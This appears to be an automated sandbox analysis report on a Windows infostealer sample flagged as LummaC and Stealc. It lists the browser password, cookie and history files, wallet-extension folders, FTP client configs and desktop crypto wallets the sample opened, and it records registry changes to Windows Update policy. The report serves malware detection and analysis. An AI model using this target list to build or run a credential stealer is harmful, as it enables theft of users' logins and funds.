Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: u1z7S3hr06.exe, u1z7S3hr06.exe, 00000000.00000003.1857010479.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp, u1z7S3hr06.exe, 00000000.00000003.1857010479.0000000000B79000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\u1z7S3hr06.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: u1z7S3hr06.exe PID: 7540, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000005.00000002.2115624126.00000000004C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2067764925.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2117885671.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe PID: 8188, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: u1z7S3hr06.exe, 00000000.00000003.1835761795.0000000000B86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: u1z7S3hr06.exe, 00000000.00000003.1835761795.0000000000B86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: u1z7S3hr06.exe, 00000000.00000003.1835761795.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: u1z7S3hr06.exe, 00000000.00000003.1835761795.0000000000B86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: u1z7S3hr06.exe, 00000000.00000003.1835761795.0000000000B86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: u1z7S3hr06.exe, 00000000.00000003.1785767228.000000000598B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: u1z7S3hr06.exe	String found in binary or memory: %appdata%\Ethereum
Source: u1z7S3hr06.exe	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\u1z7S3hr06.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
